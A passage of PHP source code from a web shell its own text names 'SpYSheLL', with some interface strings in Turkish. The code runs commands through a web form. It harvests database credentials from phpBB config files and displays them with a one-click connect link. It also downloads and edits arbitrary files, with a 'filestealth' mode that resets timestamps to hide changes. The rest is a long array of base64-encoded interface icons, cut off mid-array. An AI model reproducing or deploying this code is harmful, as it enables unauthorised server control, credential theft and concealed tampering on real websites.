5163 | ||
5164 | echo "<b>Uygulanamadi! dosya:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Tamam\"></form>"; | |
5165 | ||
5166 | } | |
5167 | ||
5168 | elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} | |
5169 | ||
5170 | elseif ($ft == "code") | |
5171 | ||
5172 | { | |
5173 | ||
5174 | if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) | |
5175 | ||
5176 | { | |
5177 | ||
5178 | $arr = explode("\n",$r); | |
5179 | ||
5180 | if (count($arr == 18)) | |
5181 | ||
5182 | { | |
5183 | ||
5184 | include($d.$f); | |
5185 | ||
5186 | echo "<b>phpBB configuration is detected in this file!<br>"; | |
5187 | ||
5188 | if ($dbms == "mysql4") {$dbms = "mysql";} | |
5189 | ||
5190 | if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} | |
5191 | ||
5192 | else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by SpYSheLL. Please, report us for fix.";} | |
5193 | ||
5194 | echo "Parameters for manual connect:<br>"; | |
5195 | ||
5196 | $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); | |
5197 | ||
5198 | foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} | |
5199 | ||
5200 | echo "</b><hr size=\"1\" noshade>"; | |
5201 | ||
5202 | } | |
5203 | ||
5204 | } | |
5205 | ||
5206 | echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; | |
5207 | ||
5208 | if (!empty($white)) {@ob_clean();} | |
5209 | ||
5210 | highlight_file($d.$f); | |
5211 | ||
5212 | if (!empty($white)) {ashshexit();} | |
5213 | ||
5214 | echo "</div>"; | |
5215 | ||
5216 | } | |
5217 | ||
5218 | elseif ($ft == "download") | |
5219 | ||
5220 | { | |
5221 | ||
5222 | @ob_clean(); | |
5223 | ||
5224 | header("Content-type: application/octet-stream"); | |
5225 | ||
5226 | header("Content-length: ".filesize($d.$f)); | |
5227 | ||
5228 | header("Content-disposition: attachment; filename=\"".$f."\";"); | |
5229 | ||
5230 | echo $r; | |
5231 | ||
5232 | exit; | |
5233 | ||
5234 | } | |
5235 | ||
5236 | elseif ($ft == "notepad") | |
5237 | ||
5238 | { | |
5239 | ||
5240 | @ob_clean(); | |
5241 | ||
5242 | header("Content-type: text/plain"); | |
5243 | ||
5244 | header("Content-disposition: attachment; filename=\"".$f.".txt\";"); | |
5245 | ||
5246 | echo($r); | |
5247 | ||
5248 | exit; | |
5249 | ||
5250 | } | |
5251 | ||
5252 | elseif ($ft == "img") | |
5253 | ||
5254 | { | |
5255 | ||
5256 | $inf = getimagesize($d.$f); | |
5257 | ||
5258 | if (!$white) | |
5259 | ||
5260 | { | |
5261 | ||
5262 | if (empty($imgsize)) {$imgsize = 20;} | |
5263 | ||
5264 | $width = $inf[0]/100*$imgsize; | |
5265 | ||
5266 | $height = $inf[1]/100*$imgsize; | |
5267 | ||
5268 | echo "<center><b>Size:</b> "; | |
5269 | ||
5270 | $sizes = array("100","50","20"); | |
5271 | ||
5272 | foreach ($sizes as $v) | |
5273 | ||
5274 | { | |
5275 | ||
5276 | echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; | |
5277 | ||
5278 | if ($imgsize != $v ) {echo $v;} | |
5279 | ||
5280 | else {echo "<u>".$v."</u>";} | |
5281 | ||
5282 | echo "</a> "; | |
5283 | ||
5284 | } | |
5285 | ||
5286 | echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; | |
5287 | ||
5288 | } | |
5289 | ||
5290 | else | |
5291 | ||
5292 | { | |
5293 | ||
5294 | @ob_clean(); | |
5295 | ||
5296 | $ext = explode($f,"."); | |
5297 | ||
5298 | $ext = $ext[count($ext)-1]; | |
5299 | ||
5300 | header("Content-type: ".$inf["mime"]); | |
5301 | ||
5302 | readfile($d.$f); | |
5303 | ||
5304 | exit; | |
5305 | ||
5306 | } | |
5307 | ||
5308 | } | |
5309 | ||
5310 | elseif ($ft == "edit") | |
5311 | ||
5312 | { | |
5313 | ||
5314 | if (!empty($submit)) | |
5315 | ||
5316 | { | |
5317 | ||
5318 | if ($filestealth) {$stat = stat($d.$f);} | |
5319 | ||
5320 | $fp = fopen($d.$f,"w"); | |
5321 | ||
5322 | if (!$fp) {echo "<b>Dosyaya Yazilamadi!</b>";} | |
5323 | ||
5324 | else | |
5325 | ||
5326 | { | |
5327 | ||
5328 | echo "<b>Kaydedildi!</b>"; | |
5329 | ||
5330 | fwrite($fp,$edit_text); | |
5331 | ||
5332 | fclose($fp); | |
5333 | ||
5334 | if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} | |
5335 | ||
5336 | $r = $edit_text; | |
5337 | ||
5338 | } | |
5339 | ||
5340 | } | |
5341 | ||
5342 | $rows = count(explode("\r\n",$r)); | |
5343 | ||
5344 | if ($rows < 10) {$rows = 10;} | |
5345 | ||
5346 | if ($rows > 30) {$rows = 30;} | |
5347 | ||
5348 | echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; | |
5349 | ||
5350 | } | |
5351 | ||
5352 | elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} | |
5353 | ||
5354 | else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} | |
5355 | ||
5356 | } | |
5357 | ||
5358 | } | |
5359 | ||
5360 | } | |
5361 | ||
5362 | else | |
5363 | ||
5364 | { | |
5365 | ||
5366 | @ob_clean(); | |
5367 | ||
5368 | $images = array( | |
5369 | ||
5370 | "arrow_ltr"=> | |
5371 | ||
5372 | "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". | |
5373 | ||
5374 | "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", | |
5375 | ||
5376 | "back"=> | |
5377 | ||
5378 | "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". | |
5379 | ||
5380 | "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". | |
5381 | ||
5382 | "Wg0JADs=", | |
5383 | ||
5384 | "buffer"=> | |
5385 | ||
5386 | "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". | |
5387 | ||
5388 | "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". | |
5389 | ||
5390 | "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", | |
5391 | ||
5392 | "change"=> | |
5393 | ||
5394 | "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". | |
5395 | ||
5396 | "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". | |
5397 | ||
5398 | "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". | |
5399 | ||
5400 | "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". | |
5401 | ||
5402 | "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". | |
5403 | ||
5404 | "zMshADs=", | |
5405 | ||
5406 | "delete"=> | |
5407 | ||
5408 | "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". | |
5409 | ||
5410 | "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". | |
5411 | ||
5412 | "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". | |
5413 | ||
5414 | "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". | |
5415 | ||
5416 | "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". | |
5417 | ||
5418 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5419 | ||
5420 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". | |
5421 | ||
5422 | "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". | |
5423 | ||
5424 | "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". | |
5425 | ||
5426 | "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". | |
5427 | ||
5428 | "jwVFHBgiEGQFIgQasYkcSbJQIAA7", | |
5429 | ||
5430 | "download"=> | |
5431 | ||
5432 | "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". | |
5433 | ||
5434 | "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". | |
5435 | ||
5436 | "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", | |
5437 | ||
5438 | "forward"=> | |
5439 | ||
5440 | "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". | |
5441 | ||
5442 | "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". | |
5443 | ||
5444 | "WqsJADs=", | |
5445 | ||
5446 | "home"=> | |
5447 | ||
5448 | "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". | |
5449 | ||
5450 | "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". | |
5451 | ||
5452 | "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". | |
5453 | ||
5454 | "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", | |
5455 | ||
5456 | "mode"=> | |
5457 | ||
5458 | "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". | |
5459 | ||
5460 | "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". | |
5461 | ||
5462 | "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". | |
5463 | ||
5464 | "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", | |
5465 | ||
5466 | "refresh"=> | |
5467 | ||
5468 | "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". | |
5469 | ||
5470 | "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". | |
5471 | ||
5472 | "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". | |
5473 | ||
5474 | "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", | |
5475 | ||
5476 | "search"=> | |
5477 | ||
5478 | "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". | |
5479 | ||
5480 | "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". | |
5481 | ||
5482 | "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". | |
5483 | ||
5484 | "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". | |
5485 | ||
5486 | "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", | |
5487 | ||
5488 | "setup"=> | |
5489 | ||
5490 | "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". | |
5491 | ||
5492 | "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". | |
5493 | ||
5494 | "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". | |
5495 | ||
5496 | "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". | |
5497 | ||
5498 | "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", | |
5499 | ||
5500 | "small_dir"=> | |
5501 | ||
5502 | "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". | |
5503 | ||
5504 | "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". | |
5505 | ||
5506 | "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", | |
5507 | ||
5508 | "small_unk"=> | |
5509 | ||
5510 | "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". | |
5511 | ||
5512 | "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". | |
5513 | ||
5514 | "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". | |
5515 | ||
5516 | "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". | |
5517 | ||
5518 | "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". | |
5519 | ||
5520 | "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". | |
5521 | ||
5522 | "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". | |
5523 | ||
5524 | "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". | |
5525 | ||
5526 | "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5527 | ||
5528 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5529 | ||
5530 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5531 | ||
5532 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5533 | ||
5534 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5535 | ||
5536 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5537 | ||
5538 | "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". | |
5539 | ||
5540 | "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". | |
5541 | ||
5542 | "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". | |
5543 | ||
5544 | "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". | |
5545 | ||
5546 | "yAsokBkQADs=", | |
5547 | ||
5548 | "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". | |
5549 | ||
5550 | "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", | |
5551 | ||
5552 | "sort_asc"=> | |
5553 | ||
5554 | "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". | |
5555 | ||
5556 | "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", | |
5557 | ||
5558 | "sort_desc"=> | |
5559 | ||
5560 | "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". | |
5561 | ||
5562 | "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", | |
5563 | ||
5564 | "sql_button_drop"=> | |
5565 | ||
5566 | "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". | |
5567 | ||
5568 | "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5569 | ||
5570 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". | |
5571 | ||
5572 | "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". | |
5573 | ||
5574 | "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". | |
5575 | ||
5576 | "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". | |
5577 | ||
5578 | "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". | |
5579 | ||
5580 | "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". | |
5581 | ||
5582 | "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". | |
5583 | ||
5584 | "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". | |
5585 | ||
5586 | "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". | |
5587 | ||
5588 | "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". | |
5589 | ||
5590 | "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". | |
5591 | ||
5592 | "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". | |
5593 | ||
5594 | "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". | |
5595 | ||
5596 | "AQEAOw==", | |
5597 | ||
5598 | "sql_button_empty"=> | |
5599 | ||
5600 | "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". | |
5601 | ||
5602 | "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5603 | ||
5604 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". | |
5605 | ||
5606 | "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". | |
5607 | ||
5608 | "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". | |
5609 | ||
5610 | "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". | |
5611 | ||
5612 | "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". | |
5613 | ||
5614 | "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". | |
5615 | ||
5616 | "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". | |
5617 | ||
5618 | "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". | |
5619 | ||
5620 | "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". | |
5621 | ||
5622 | "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". | |
5623 | ||
5624 | "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". | |
5625 | ||
5626 | "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". | |
5627 | ||
5628 | "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", | |
5629 | ||
5630 | "sql_button_insert"=> | |
5631 | ||
5632 | "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". | |
5633 | ||
5634 | "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | |
5635 | ||
5636 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". | |
5637 | ||
5638 | "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". | |
5639 | ||
5640 | "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". | |
5641 | ||
5642 | "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". | |
5643 | ||
5644 | "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". | |
5645 | ||
5646 | "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". | |
5647 | ||
5648 | "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". | |
5649 | ||
5650 | "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". | |
5651 | ||
5652 | "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". | |
5653 | ||
5654 | "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". | |
5655 | ||
5656 | "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". | |
5657 | ||
5658 | "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". | |
5659 | ||
5660 | "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", | |
5661 | ||
5662 | "up"=> | |
5663 | ||
5664 | "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". | |
5665 | ||
5666 | "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". | |
5667 | ||
5668 | "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". | |
5669 | ||
5670 | "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", | |
5671 | ||
5672 | "write"=> | |
5673 | ||
5674 | "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". | |
5675 | ||
5676 | "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". | |
5677 | ||
